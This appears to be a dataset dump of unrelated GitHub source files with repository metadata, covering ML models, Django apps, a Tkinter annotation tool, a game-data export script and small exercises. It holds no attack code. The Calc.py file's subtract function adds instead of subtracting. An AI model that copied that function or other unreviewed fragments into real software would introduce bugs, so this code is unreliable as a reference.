# EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip3'
__requires__ = 'pip==19.0.3'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]... | [
"64014435+zibb03@users.noreply.github.com"
] | 64014435+zibb03@users.noreply.github.com |
502be4bc987b6810c8c21512e61f399778f76f09 | 77b07ca84c059d264cbfabc872d03d66b454aa44 | /Calc.py | 34ba6f4bfb83b83af2399ebf4875d535953eb039 | [] | no_license | 10376086/AdvancedProgramming- | 44784a9acf58f5d83c55de8b30abb49ad61de866 | 7ef3e94042dbde19a177a700017b2e9ed016fda6 | refs/heads/master | 2020-04-15T23:42:09.253799 | 2019-01-10T20:16:40 | 2019-01-10T20:16:40 | 165,114,974 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 170 | py |
def add(first, second):
return first + second
def subtract(first, second):
return first + second
def multiply(first, second):
return first * second | [
"noreply@github.com"
] | 10376086.noreply@github.com |
be1283b73ee741d767063e871b3ee06309038aa2 | 0fc2f0277c68758b5da261dab12cf45b32d45f0b | /main.py | e0e11198ee497cf87f4533922c7a607ad5f18277 | [] | no_license | sysadminamit/Bbox-Label-Tool-For-Multi-Class | af1a2c4792ba28cb6647a9100488fd06177e1cb0 | 05106fceb9d1d2c8d775fb4edb2e84e45aeb90a1 | refs/heads/master | 2020-04-28T18:20:06.922178 | 2019-03-13T18:19:47 | 2019-03-13T18:19:47 | 175,475,155 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,297 | py | from tkinter import *
from tkinter import filedialog
from tkinter import messagebox
from tkinter import ttk
from PIL import Image, ImageTk
import os
import glob
import random
# colors for the bboxes
COLORS = ['red', 'blue','pink', 'cyan', 'green', 'black']
# image sizes for the examples
SIZE = 256, 256
... | [
"noreply@github.com"
] | sysadminamit.noreply@github.com |
14bc6748e329b63cedbea996df25b3276bef925d | 2c4b07e4f77e60e654aa0b8501e46172d0fa3d92 | /bridge/assets/client_windows.py | 626910262e4735ea40853a75cd4e4fde21d96402 | [] | no_license | lczxxx123/yyx-bridge | cfd3f75be37cd32f9eac9f114c4f779c67a95b2c | 7ff1b875884455cfc7b97aeb0dfb616537e065ee | refs/heads/master | 2023-06-29T14:35:15.439591 | 2020-09-13T01:53:11 | 2020-09-13T01:53:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,603 | py | import json
import Globals
from DynamicConfigData import DATA_HERO, DATA_EQUIP_ATTR, DATA_EQUIP_INIT, DATA_EQUIP_RANDOM_ATTR, DATA_STORY
import com.utils.helpers as helpers
import com.const as CONST
f = open(r'\\.\pipe\b62340b3-9f87-4f38-b844-7b8d1598b64b', 'wb+', buffering=0)
try:
player = Globals.player1
if ... | [
"fluxxu@gmail.com"
] | fluxxu@gmail.com |
2fff8b0b4c27cbdf63118589f635f7007234d0ac | daf3c52a9a26e00e1502b4c991b5d7777d444469 | /src/analyzer/abstract_reader.py | 78dc16fe2e225b1aab61a74e3c9c5851afe06c07 | [
"MIT"
] | permissive | rodchenk/time-expenses | a22a5b0ff21feaca65e2c17bc9ed4e23bae93174 | b0b37f00514c9f54300097a01f53f8923937caa9 | refs/heads/master | 2022-10-28T19:59:13.703717 | 2020-06-06T14:20:21 | 2020-06-06T14:20:21 | 267,668,472 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 489 | py |
class AbstractReader(object):
def __init__(self, counter_callback, filename):
self._counter = counter_callback
self.filename = filename
self.total_chars, self.total_words, self.total_charts, self.total_images, self.total_tables = 0, 0, 0, 0, 0
def get_stats(self):
self._counter()
return {
'file': self... | [
"rodchenk@th-brandenburg.de"
] | rodchenk@th-brandenburg.de |
81a3bb51d5a1e975a28e398874c80a57e85d3738 | d6f7be19eedb72f9c3a5ac7de83133232c21d395 | /app/extract.py | 3001e6b21730733e3399d2bb8b5b22547172e334 | [
"MIT"
] | permissive | kmalakhova/back-end-mempeasy | 6a2723b54eebc86496eda7c3c65b3f7b6df6e4ef | 9d918d97fa88189b1dbaf8b0ac6fe430c449a661 | refs/heads/master | 2023-07-16T05:58:50.178178 | 2021-08-24T01:19:50 | 2021-08-24T01:19:50 | 390,390,242 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 628 | py | def json_extract(obj, key):
"""Recursively fetches values from nested JSON."""
arr = []
def extract(obj, arr, key):
"""Recursively searches for values of key in JSON tree."""
if isinstance(obj, dict):
for k, v in obj.items():
if isinstance(v, (dict, list)):
... | [
"kgrekhova@gmail.com"
] | kgrekhova@gmail.com |
123d9fedfe67be980e7dab0084a0da66acb721fb | 0fb4b731939d1b38e219d3fcecf2990f06f17038 | /visualization/python/visualize_daily.py | eeff3a1d501a9c0fd1f6a78af36e9bbc540aef9e | [
"Apache-2.0"
] | permissive | saitejaleo/coronavirus-dashboard | 218edd7953e7e4385d9dfbd8008431aa53b6200c | f320dbdc785df954b005594b6f0bdf8330122cfb | refs/heads/master | 2022-07-18T13:59:42.728258 | 2020-05-17T18:59:20 | 2020-05-17T18:59:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,575 | py | import json
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
plt.switch_backend('agg')
import matplotlib.ticker as ticker
# fig_width=8
# fig_height=3
# value_text_size=9
rotation_degree=90
data_file_name = '../../data/ohio.json'
num_cases_file_name='../../figure/num_cases.svg'
num_new_cases_fil... | [
"fyu@ysu.edu"
] | fyu@ysu.edu |
f9023322bed3e99f7881e8b99b2959222c568474 | a22bdba754308dc8d64e6260957bbb028f75abe6 | /Utilities/saver/attoclass.py | 3246a476fdd3190d1c738d96bea8e2376eac686b | [] | no_license | HowDoIUseThis/Nowack_Lab | f592dc3b59bbbe36ae9253dc95a04cf6d8a0f0de | a943896b3cb8b3a326e1a2ef698b11a01884205a | refs/heads/master | 2021-01-12T22:07:13.105549 | 2016-08-02T21:59:19 | 2016-08-02T21:59:19 | 64,960,471 | 0 | 1 | null | 2016-08-04T19:09:10 | 2016-08-04T19:09:10 | null | UTF-8 | Python | false | false | 149 | py | from saver import Saver
class Atto(Saver):
def __init__(self, direction='x'):
super(Atto, self).__init__();
self.c = direction;
| [
"dhl88@cornell.edu"
] | dhl88@cornell.edu |
b9c56ac1d31b2218826dbd63b673f4c3cff2e16a | a2f78983557c1ead7b2a7c3e720d4719099878b9 | /python/ray/experimental/sgd/tf/tf_runner.py | 384136ba79630ef2660e8ee46da3cf60f3455ccf | [
"Apache-2.0",
"MIT"
] | permissive | Senmumu/ray | 3fc914a0a5d9da8fcaa3411bc04be7fba3ce6bbd | 130b8f21da4fb5383b079493faaea5d81065b772 | refs/heads/master | 2020-07-18T12:08:51.862689 | 2019-09-03T22:36:25 | 2019-09-03T22:36:25 | 206,242,928 | 1 | 0 | Apache-2.0 | 2019-09-04T05:59:44 | 2019-09-04T05:59:44 | null | UTF-8 | Python | false | false | 5,250 | py | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import logging
import json
import os
import numpy as np
import ray
import ray.services
from ray.experimental.sgd import utils
logger = logging.getLogger(__name__)
def _try_import_strategy():
"""Late imp... | [
"rliaw@berkeley.edu"
] | rliaw@berkeley.edu |
528b509d132ef0c5142d6ca4858054d9bbee1dec | d12e1825321c6d275ec55f869311d2f3e30cfdab | /libs/deep_models/flow/lite_flow_net/lite_flow_net.py | 66fbad1997c550b7348257c8d40da8a04febe6f2 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | Huangying-Zhan/DF-VO | b369e6a00ae0745288acf9d61460f633aa116875 | 50e6ffa9b5164a0dfb34d3215e86cc2288df256d | refs/heads/master | 2022-12-11T18:29:42.457460 | 2022-03-14T00:34:29 | 2022-03-14T00:34:29 | 212,502,276 | 494 | 128 | MIT | 2022-11-22T15:29:20 | 2019-10-03T05:18:35 | Python | UTF-8 | Python | false | false | 17,960 | py | import math
import torch
from . import correlation # the custom cost volume layer
Backward_tensorGrid = {}
def Backward(tensorInput, tensorFlow):
"""Backward warping, warp tensorInput according to the grid defined by tensorFlow
Args:
tensorInput (tensor): source data
tensorFlow (tensor): ... | [
"zhanhuangying@gmail.com"
] | zhanhuangying@gmail.com |
5c3a9fa4804996502108001cdc92415cd75c53d1 | 037e7828fcc4779629bf9089d0677abbae6590eb | /run_test_raas.py | 9622b17e28cf6e447e02d2dd685d109fc5795007 | [] | no_license | ARMmbed/run_tests_linux | af11a82372e0480fa5b9c883607d7fe279da8931 | de643663227b9d2cdca884fa67575f1ce48e9196 | refs/heads/master | 2023-03-16T13:56:40.577605 | 2017-02-28T17:28:11 | 2017-02-28T17:28:11 | 58,552,025 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,230 | py | import raas_client
def run_test_raas(binary, platform_name="K64F"):
print "Running", binary
print "On", platform_name
client = raas_client.RaasClient(host="193.208.80.31", port=8000)
try:
k64f = client.allocate({"platform_name": [platform_name]})
print "allocated", k64f.info()
... | [
"liyou.zhou@arm.com"
] | liyou.zhou@arm.com |
dd5617275d2a87e52a380d2ccfcdf4777e0566ba | 45e376ae66b78b17788b1d3575b334b2cb1d0b1c | /checkov/common/graph/checks_infra/debug.py | 26b247b24b08837b95bd15668c25aedf4d45d7c6 | [
"Apache-2.0"
] | permissive | bridgecrewio/checkov | aeb8febed2ed90e61d5755f8f9d80b125362644d | e64cbd27ffb6f09c2c9f081b45b7a821a3aa1a4d | refs/heads/main | 2023-08-31T06:57:21.990147 | 2023-08-30T23:01:47 | 2023-08-30T23:01:47 | 224,386,599 | 5,929 | 1,056 | Apache-2.0 | 2023-09-14T20:10:23 | 2019-11-27T08:55:14 | Python | UTF-8 | Python | false | false | 6,589 | py | from __future__ import annotations
import json
import logging
from collections.abc import Iterable
from typing import Any, TYPE_CHECKING
import yaml
from termcolor import colored
from checkov.common.graph.graph_builder import CustomAttributes
from checkov.common.resource_code_logger_filter import add_resource_code_f... | [
"noreply@github.com"
] | bridgecrewio.noreply@github.com |
6e3f6c3449d7f93848d1116b344a0dcabece60f2 | 6cf86e6122b3c65853231481ff73d40a25374eb1 | /Input().py | 068cf37daec039fb7b1eb52c376b116f2b161ace | [] | no_license | npc203/hackerrank-one-liners | d9480ce71cde342458689250963d1f69f3a38093 | a7eb66c8d1bfa3508cae28ff6160db2728df3b5b | refs/heads/main | 2023-07-17T12:03:03.757519 | 2021-08-20T12:30:18 | 2021-08-20T12:30:48 | 375,340,120 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 67 | py | (lambda x,b : print(eval(input()) == b))(*map(int,input().split())) | [
"npc203@users.noreply.github.com"
] | npc203@users.noreply.github.com |
8cb15969e90d1fb204f6d134054b16e7beb7e3b6 | 806132bffbabefa5750154839e276aae8edb5570 | /src/tree.py | a5e127fb1622bbe87c05a5a6de30888c7706f35f | [] | no_license | Tarrasch/ravens-test | f5d30215b206102439f4aeb4cdd020c703b1881c | 951a72a6803745b2e5318a74ab05d56915e7ecd5 | refs/heads/master | 2020-06-01T04:20:25.901271 | 2012-11-20T12:44:46 | 2012-11-20T12:44:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 410 | py | def map_tree(f, tree):
grid = tree['grid']
alts = [tree[k] for k in range(100) if tree.has_key(k)]
grid = map(lambda xs: map(lambda x: f(x), xs), grid)
alts = map(lambda x: f(x), alts)
return dict([('grid', grid)] + [(i, alts[i-1]) for i in range(1,len(alts)+1)])
def collapse_tree(tree):
grid = tree['grid'... | [
"miffoljud@gmail.com"
] | miffoljud@gmail.com |
9b2fa84da02cc1dc0fefaa6972b0474d32d36b06 | 634425d7a7dbc99c45da4d27924af5a3e6112fca | /Linear_classifiers/(b) linear classifiers.py | 6b9abb4cd105d1c441fbf88837c0b48f0b1847fb | [] | no_license | fahimalamabir/datacamp | dc342645796c37401156bf79d7c5d20f262e4469 | 8224a69801d6a4236cf3e99bebd4f149cc846b4b | refs/heads/main | 2023-06-15T16:26:18.271836 | 2021-07-06T22:09:31 | 2021-07-06T22:09:31 | 318,082,895 | 0 | 0 | null | 2020-12-04T02:06:26 | 2020-12-03T05:15:50 | Jupyter Notebook | UTF-8 | Python | false | false | 5,107 | py | '''
How models make predictions
Which classifiers make predictions based on the sign (positive or negative) of the raw model output?
ANSWER THE QUESTION
50 XP
Possible Answers
Logistic regression only
press 1
Linear SVMs only
press 2
Neither
press 3
Both logistic regression and Linear SVMs
press 4
Submit Answer
Take ... | [
"noreply@github.com"
] | fahimalamabir.noreply@github.com |
4bb2cddf7a70efd8f3dc3329932dd7882dbfab0e | 46a16d4d4054e6063d2f3ed07c79bbd34c520f3b | /tests/trainer/test_data_loading.py | e9d5d3cc047cb83b8c5f4675916634f6bfbab5e7 | [
"Apache-2.0",
"LicenseRef-scancode-proprietary-license"
] | permissive | kaushikb11/pytorch-lightning | 123c90076d340214d8ba2f68b7a3138c2b30959d | 8a931732ae5135e3e55d9c7b7031d81837e5798a | refs/heads/master | 2023-08-25T09:07:02.245113 | 2021-08-22T18:50:10 | 2021-08-22T18:50:10 | 319,391,066 | 1 | 2 | Apache-2.0 | 2020-12-07T17:16:13 | 2020-12-07T17:16:12 | null | UTF-8 | Python | false | false | 11,953 | py | # Copyright The PyTorch Lightning team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to i... | [
"noreply@github.com"
] | kaushikb11.noreply@github.com |
27bb8d83d6f836d2e2dc817c8c5c463d2a65544f | d030f5b120dbbb62f95fd964bde379637846de06 | /ROSservice/catkin_ws/devel/lib/python2.7/dist-packages/face1/srv/__init__.py | 3337d4fca6327faac64425e4c087ba544643def5 | [] | no_license | cd74/ROSface | 29a40d16dd75f564cd24d15f01349d8b4a4e491e | 1506120c2bb9c13935849f2e4698ef1add551561 | refs/heads/master | 2022-04-25T01:33:49.269936 | 2020-04-27T06:15:38 | 2020-04-27T06:15:38 | 258,939,380 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 25 | py | from ._FaceSrv1 import *
| [
"3050272147@qq.com"
] | 3050272147@qq.com |
608a35b305264d22101fae93881d6336cfdbead0 | 3fb61cb2da8cad71b214a7faadffc27bcd1a5315 | /transformServices/app/gleanomatic/RSRestClient.py | c9ba11949e70f0f5f7fef4fed1d21da9d7111ea4 | [] | no_license | dhenry314/gleanomatic | 4ed0ed80836e4aa622392ec804e6ca2a95336a7b | 9c9c8ab9a6da83d4a1fc429289c7450bf606005b | refs/heads/master | 2021-07-06T02:55:43.571032 | 2019-04-15T18:21:12 | 2019-04-15T18:21:12 | 148,791,398 | 0 | 1 | null | 2018-10-04T21:35:10 | 2018-09-14T13:19:57 | Python | UTF-8 | Python | false | false | 5,442 | py | # RSRestClient - client to interact with a RSEngine REST endpoint
import urllib.request
import urllib.parse
import json
import gleanomatic.Utils as Utils
from gleanomatic.GleanomaticErrors import BadResourceURL, AddResourceError, AddDumpException
import gleanomatic.gleanomaticLogger as gl
logger = gl.logger
class RS... | [
"dhenry314@gmail.com"
] | dhenry314@gmail.com |
37cd36176891ea926eef36e5b677f6b4352ae940 | f9d564f1aa83eca45872dab7fbaa26dd48210d08 | /huaweicloud-sdk-as/huaweicloudsdkas/v1/model/pause_scaling_group_request.py | c88cd3d690fe6f2fc4753b1834d1bd3b10a9f9f9 | [
"Apache-2.0"
] | permissive | huaweicloud/huaweicloud-sdk-python-v3 | cde6d849ce5b1de05ac5ebfd6153f27803837d84 | f69344c1dadb79067746ddf9bfde4bddc18d5ecf | refs/heads/master | 2023-09-01T19:29:43.013318 | 2023-08-31T08:28:59 | 2023-08-31T08:28:59 | 262,207,814 | 103 | 44 | NOASSERTION | 2023-06-22T14:50:48 | 2020-05-08T02:28:43 | Python | UTF-8 | Python | false | false | 4,079 | py | # coding: utf-8
import six
from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization
class PauseScalingGroupRequest:
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is att... | [
"hwcloudsdk@huawei.com"
] | hwcloudsdk@huawei.com |
4b4238839723416be5a682718dbe7694d6fd4b21 | 91a3a7998a370e1280d01ec722625d2d7afc2226 | /autodiff/context.py | ccf8f58da9ded0cb6dcc2902d42216c07de395af | [
"MIT"
] | permissive | sujason/quantitative | f4cb08614ba5a7276b84fa0694f129ed27319ab8 | 42b7fdea05629934f513a7b15e5b03c7697c5c46 | refs/heads/master | 2021-01-01T05:31:56.613945 | 2016-01-26T03:24:44 | 2016-01-26T03:24:44 | 12,944,434 | 7 | 3 | null | null | null | null | UTF-8 | Python | false | false | 45,855 | py | """
Example of how to use byte-code execution technique to trace accesses to numpy
arrays.
This file demonstrates two applications of this technique:
* optimize numpy computations for repeated calling
* provide automatic differentiation of procedural code
"""
import __builtin__
import ctypes
import inspect
import lo... | [
"sujason@stanford.edu"
] | sujason@stanford.edu |
363145fc67b5fbf0353580112bd509dcb8673d4b | 41e0c435a52fdaa3d698faf17308bec2968d1d39 | /tempest/services/compute/v3/xml/keypairs_client.py | 6efb7fea04767a2d49fb6362a0d057b8f1efd00b | [
"Apache-2.0"
] | permissive | BeenzSyed/tempest | 26092eabaeb3963f1967cdbdf36395cdc5b701c3 | 7a64ee1216d844f6b99928b53f5c665b84cb8719 | refs/heads/master | 2021-01-22T08:06:59.627280 | 2015-03-23T22:36:09 | 2015-03-23T22:36:09 | 19,959,366 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,508 | py | # Copyright 2012 IBM Corp.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... | [
"bozhu@linux.vnet.ibm.com"
] | bozhu@linux.vnet.ibm.com |
a725500a2e349cbf8954f750c637d836326569bd | 6e485ffa2ce9559fdcc05f3650483c49c46b7102 | /db/note_model.py | 75c2f2557a1deed01b6a49192e6fd6930d664882 | [] | no_license | araneta/Tugas-statistik | 23164ec3f096903675be4dcdb76c1f6ad1cb6a81 | 573376a3d174d9b53428d21e221a3338ee392e67 | refs/heads/master | 2021-01-19T18:58:19.678755 | 2017-04-16T04:26:18 | 2017-04-16T04:26:18 | 88,391,000 | 0 | 0 | null | 2017-04-16T04:28:48 | 2017-04-16T04:28:48 | null | UTF-8 | Python | false | false | 2,631 | py | from database import *
import datetime
class NoteModel:
def __init__(self):
self.db = db
self.cursor = cursor
def all_post(self):
sql = "select * from note where id_user = 1 order by tanggal_diperbaharui desc"
try :
self.cursor.execute(sql)
temp_results = self.cursor.fetchall()
results = []
i = 1
... | [
"aldopraherda@gmail.com"
] | aldopraherda@gmail.com |
b6b7520917496dbd41f7f57d11d8d68f84434ff7 | ee179dd9e9b24046508b11a60612da3758c7e122 | /lib/python2.7/site-packages/nltk/stem/api.py | c6032423e84a9a5b8a1985afcf341e4084970792 | [] | no_license | buhtigexa/Nerit | fcd6cb08a0935e5b80392ae2acf68ba52ee8a899 | d55629f6289c1fa6efe60802a78b79932ff248a2 | refs/heads/master | 2021-01-21T13:11:51.105930 | 2015-05-01T23:56:02 | 2015-05-01T23:56:02 | 34,728,820 | 4 | 2 | null | null | null | null | UTF-8 | Python | false | false | 781 | py | # Natural Language Toolkit: Stemmer Interface
#
# Copyright (C) 2001-2014 NLTK Project
# Author: Trevor Cohn <tacohn@cs.mu.oz.au>
# Edward Loper <edloper@gmail.com>
# Steven Bird <stevenbird1@gmail.com>
# URL: <http://nltk.org/>
# For license information, see LICENSE.TXT
class StemmerI(object):
"""... | [
"mrodriguez@alumnos.exa.unicen.edu.ar"
] | mrodriguez@alumnos.exa.unicen.edu.ar |
0f1fbd0076898caca22bdff66e84b8f1ca8cade5 | d060c02ffd05cca79f469a4cd8d26827b3f3c3e4 | /job/schema.py | c15f7516218d5b5d2d4843e0874976b6f3420dba | [] | no_license | symek/job-cli | 4a2a190cf30348e5b2ca27c6c67c081599da495a | dfe2f629bd0a9956bddedd9b3d5544c3b91769d7 | refs/heads/master | 2021-01-13T04:11:46.571599 | 2020-11-17T16:11:12 | 2020-11-17T16:11:12 | 77,702,058 | 0 | 1 | null | 2017-03-03T12:59:48 | 2016-12-30T18:01:20 | Python | UTF-8 | Python | false | false | 5,852 | py |
from schematics.models import Model
from schematics.types import StringType, URLType, BooleanType, BaseType, IntType
from schematics.types import UUIDType, DateTimeType, TimestampType
from schematics.types import ListType, ModelType, DictType, PolyModelType
from schematics import exceptions
import json
import collec... | [
"szymon.kapeniak@gmail.com"
] | szymon.kapeniak@gmail.com |
b1fc4028b00d66db57ef3d4fca7602a0b3de1815 | 8eb0f65096f9a9fe90a88c85dcdcaf12f9a8a512 | /apps/maintenance_mode/middleware.py | cd0e09b3e8aba28e3af198050f46e5958f5de4a4 | [
"MIT"
] | permissive | WhitespaceCrew/django-htk | 57c8cc9ec30b4cd9511b717978758c47144de76f | 6a7b87a3d0a2e4cb51f6b8059708a26fa8e613df | refs/heads/master | 2020-12-31T01:10:14.900413 | 2016-02-03T19:24:27 | 2016-02-03T19:25:02 | 45,211,442 | 0 | 0 | null | 2015-10-29T21:23:54 | 2015-10-29T21:23:54 | null | UTF-8 | Python | false | false | 873 | py | from django.shortcuts import redirect
from django.core.urlresolvers import reverse
from htk.apps.maintenance_mode.utils import is_maintenance_mode
from htk.utils import htk_setting
class MaintenanceModeMiddleware(object):
"""Checks whether HTK_MAINTENANCE_MODE is set
If so, redirects to the HTK_MAINTENANCE_M... | [
"jontsai@jonathantsai.com"
] | jontsai@jonathantsai.com |
79180c09bcb81b56e6d9d1043b6380e55871d2a0 | c7e765a9bed33d3bfb21774e3995bf4a09e04add | /adminmgr/media/code/A3/task1/BD_135_703_2371_KhgNwL4.py | 39a4a494197832cb4b20798bc47cbace9f61a4d5 | [
"Apache-2.0"
] | permissive | IamMayankThakur/test-bigdata | 13dd2ac7fb76c9baed6c3a0aa943057a22e2d237 | 7f507918c7bec31c92eedcd94491a83486623049 | refs/heads/master | 2022-05-03T00:59:44.127494 | 2022-02-10T19:50:16 | 2022-02-10T19:50:16 | 201,585,028 | 10 | 4 | Apache-2.0 | 2022-04-22T23:39:45 | 2019-08-10T05:34:09 | Python | UTF-8 | Python | false | false | 1,134 | py | import findspark
findspark.init()
from pyspark import SparkConf,SparkContext
from pyspark.streaming import StreamingContext
from pyspark.sql import Row,SQLContext
import sys
import requests
def func(rdd):
sorted_rdd1 = rdd.sortBy(lambda x: (-x[1],x[0]))
sorted_rdd=sorted_rdd1.filter(lambda y: y[0] !='')
s_list=... | [
"ubuntu@ip-172-31-18-251.ap-south-1.compute.internal"
] | ubuntu@ip-172-31-18-251.ap-south-1.compute.internal |
28a35ff7e57a4a3a92d9adaaf528e62ed562cfd6 | ca4610e1b16e6a036fdaec33e47dc9ac3990eea4 | /utils/keras_bert_test.py | 6a4ceaa511aa68c37d767b65e1f68781c90e14fb | [] | no_license | hjfan-pku/bc6_track1_pner_pnen | 1fade8ebbd867176ed8b03450b21203cf96b3540 | 6cf4bd120350c540c185190e6fe7dbebf618ca03 | refs/heads/master | 2021-02-12T13:14:13.975057 | 2019-10-12T02:38:31 | 2019-10-12T02:38:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,260 | py | # #! -*- coding:utf-8 -*-
# import json
# import numpy as np
# from random import choice
# from tqdm import tqdm
# from keras_bert import load_trained_model_from_checkpoint, Tokenizer
# import re, os
# import codecs
# mode = 0
# maxlen = 160
# learning_rate = 5e-5
# min_learning_rate = 1e-5
# config_path = 'cased_... | [
"ningshixian@mail.dlut.edu.cn"
] | ningshixian@mail.dlut.edu.cn |
37434a2d02bf51c411162c56fe9eda123ad980d9 | bede13ba6e7f8c2750815df29bb2217228e91ca5 | /advance_cash_flow_statements/wizard/account_account.py | 8ab4d6059149ffc32c123a592816f6a73772185a | [] | no_license | CybroOdoo/CybroAddons | f44c1c43df1aad348409924603e538aa3abc7319 | 4b1bcb8f17aad44fe9c80a8180eb0128e6bb2c14 | refs/heads/16.0 | 2023-09-01T17:52:04.418982 | 2023-09-01T11:43:47 | 2023-09-01T11:43:47 | 47,947,919 | 209 | 561 | null | 2023-09-14T01:47:59 | 2015-12-14T02:38:57 | HTML | UTF-8 | Python | false | false | 3,562 | py | # -*- coding: utf-8 -*-
#############################################################################
#
# Cybrosys Technologies Pvt. Ltd.
#
# Copyright (C) 2019-TODAY Cybrosys Technologies(<https://www.cybrosys.com>)
# Author: Cybrosys Techno Solutions(<https://www.cybrosys.com>)
#
# You can modify it under... | [
"ajmal@cybrosys.in"
] | ajmal@cybrosys.in |
42ee0b0d809863a628c4d9a10375863e7328db4a | fb54704d4a6f9475f42b85d8c470e3425b37dcae | /medium/ex46.py | b8f578eefedb0af0bc3a15588f48718e85d76ec0 | [] | no_license | ziyuan-shen/leetcode_algorithm_python_solution | b2784071a94b04e687fd536b57e8d5a9ec1a4c05 | 920b65db80031fad45d495431eda8d3fb4ef06e5 | refs/heads/master | 2021-06-27T05:19:47.774044 | 2021-02-04T09:47:30 | 2021-02-04T09:47:30 | 210,991,299 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 480 | py | class Solution:
def permute(self, nums: List[int]) -> List[List[int]]:
ans = {(nums[i],): nums[:i] + nums[i+1:] for i in range(len(nums))}
for _ in range(len(nums)-1):
for permute in list(ans):
remaining = ans[permute]
for i in range(len(remaining)):
... | [
"ziyuan.shen@duke.edu"
] | ziyuan.shen@duke.edu |
fcd11702e81bde025971e101d2d70f66f5e8cdb3 | 55e81ceffe94ec087ea9c4e6576093b56a86b852 | /src/modules/convolution.py | 0838e88f436ead2fb4833f31b9288f853b90c574 | [] | no_license | feathernox/neuroml_fmri_deepspd | 43941062e244c4ae9084821a7512a287407be0c3 | 119f968458a92d3ea644f55d1d4fab9527b73c16 | refs/heads/main | 2022-12-30T23:48:28.771036 | 2020-10-25T10:13:23 | 2020-10-25T10:13:23 | 306,640,174 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 640 | py | import torch
from torch import nn
from torch.nn import init
import math
class SimpleConvolution(nn.Module):
def __init__(self, in_channels, out_channels):
super().__init__()
self.in_channels = in_channels
self.out_channels = out_channels
self.weight = nn.Parameter(torch.Tensor(in_... | [
"remizova.as@phystech.edu"
] | remizova.as@phystech.edu |
76bbea84228c618e352dc125b30c93b04c64e117 | 6a420c47a9b8940ed2f437c0a49c7ccccf7473bd | /apps/blog/models/entry.py | 421764412b477c2fd97703ab561da5706ad45e74 | [] | no_license | deadendif/blog | f0198287e07dc95c5a12b44cad5dc58b86c2294e | 2eb48a7f66ae93a8bafcba824461e4c1a430e10a | refs/heads/master | 2021-06-20T23:47:14.189596 | 2017-08-12T06:25:25 | 2017-08-12T06:25:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,380 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from django.db import models
from django.utils import timezone
from django.utils.html import strip_tags
from django.utils.text import Truncator
from tagging.fields import TagField
from tagging.utils import parse_tag_input
from author import Author
from category import Ca... | [
"deadend.endif@gmail.com"
] | deadend.endif@gmail.com |
c537f6cf6534d8b3f1ee0248666ea2f88a98291a | 8823770582af17f448c46d2da5e8deba4618ab40 | /editor.py | 2bd0587408e16e236321299d5143bb81a6382f7d | [] | no_license | sorrySempai/editor | acfcc37410c270f661c5cd34b10a1d612c5a6225 | 705dbb5d2ec3c6a015b3173ce4f73a2a0cd79eb1 | refs/heads/master | 2022-12-04T11:34:12.903826 | 2020-08-26T01:09:19 | 2020-08-26T01:09:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,408 | py | import tkinter as tk
from tkinter import *
from settings import *
app = tk.Tk()
app.title(APP_NAME)
app.minsize(width=WIDTH, height=HEIGHT)
app.geometry(f'{WIDTH}x{HEIGHT}+200+100')
text = tk.Text(app, width=WIDTH-50, height=HEIGHT, wrap='word')
scroll = Scrollbar(app, orient=VERTICAL, command=text.yview)... | [
"noreply@github.com"
] | sorrySempai.noreply@github.com |
34af25c5bd91c605273cde697652e1d0f828ce34 | 717743ada4113dca1863d21db0c0459e6a3390ba | /wangyi_1.py | 01c30789613dde091be621f2ad044689604c48e6 | [] | no_license | suixin233/OJ | 21ebb890bcc3035fd41b0ba41251c169dd4fbb3d | 80ace11518c5212591ffed839652e30d423effa1 | refs/heads/master | 2020-03-27T01:26:29.064052 | 2018-08-22T13:11:54 | 2018-08-22T13:11:54 | 145,710,991 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,363 | py | # 小易准备去魔法王国采购魔法神器,购买魔法神器需要使用魔法币,但是小易现在一枚魔法币都没有,但是小易有两台魔法机器可以通过投入x(x可以为0)个魔法币产生更多的魔法币。
# 魔法机器1:如果投入x个魔法币,魔法机器会将其变为2x+1个魔法币
# 魔法机器2:如果投入x个魔法币,魔法机器会将其变为2x+2个魔法币
# 小易采购魔法神器总共需要n个魔法币,所以小易只能通过两台魔法机器产生恰好n个魔法币,小易需要你帮他设计一个投入方案使他最后恰好拥有n个魔法币。
# 输入描述:
# 输入包括一行,包括一个正整数n(1 ≤ n ≤ 10^9),表示小易需要的魔法币数量。
#
#
# 输出描述:
# 输出一个字符串,每个字符表示该次小易选取... | [
"530170380@qq.com"
] | 530170380@qq.com |
